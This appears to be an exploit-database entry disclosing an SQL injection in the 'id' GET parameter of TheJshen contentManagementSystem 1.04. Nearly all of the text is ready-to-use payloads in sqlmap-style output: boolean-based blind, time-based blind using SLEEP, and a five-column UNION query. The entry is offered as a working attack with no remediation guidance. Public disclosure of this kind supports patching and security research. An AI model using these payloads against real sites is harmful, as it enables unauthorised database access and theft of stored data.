TheJshen contentManagementSystem 1.04 SQL Injection

`# Exploit Title: TheJshen contentManagementSystem 1.04 - 'id' SQL Injection  
# Date: 2019-11-01  
# Exploit Author: Cakes  
# Vendor Homepage: https://github.com/thejshen/contentManagementSystem  
# Version: 1.04  
# Software Link: https://github.com/thejshen/contentManagementSystem.git  
# Tested on: CentOS7  
  
# GET parameter 'id' easy SQL Injection  
---  
Parameter: id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: id=4' AND 5143=5143-- OWXt  
Vector: AND [INFERENCE]  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: id=4' AND (SELECT 4841 FROM (SELECT(SLEEP(5)))eqmp)-- ZwTG  
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 5 columns  
Payload: id=-4903' UNION ALL SELECT NULL,NULL,CONCAT(0x716a706b71,0x66766f636c546750775053685352676c4f70724d714c4b64494e755252765a626370615a565a4b49,0x717a6a7671),NULL,NULL-- hkoh  
Vector: UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL[GENERIC_SQL_COMMENT]  
`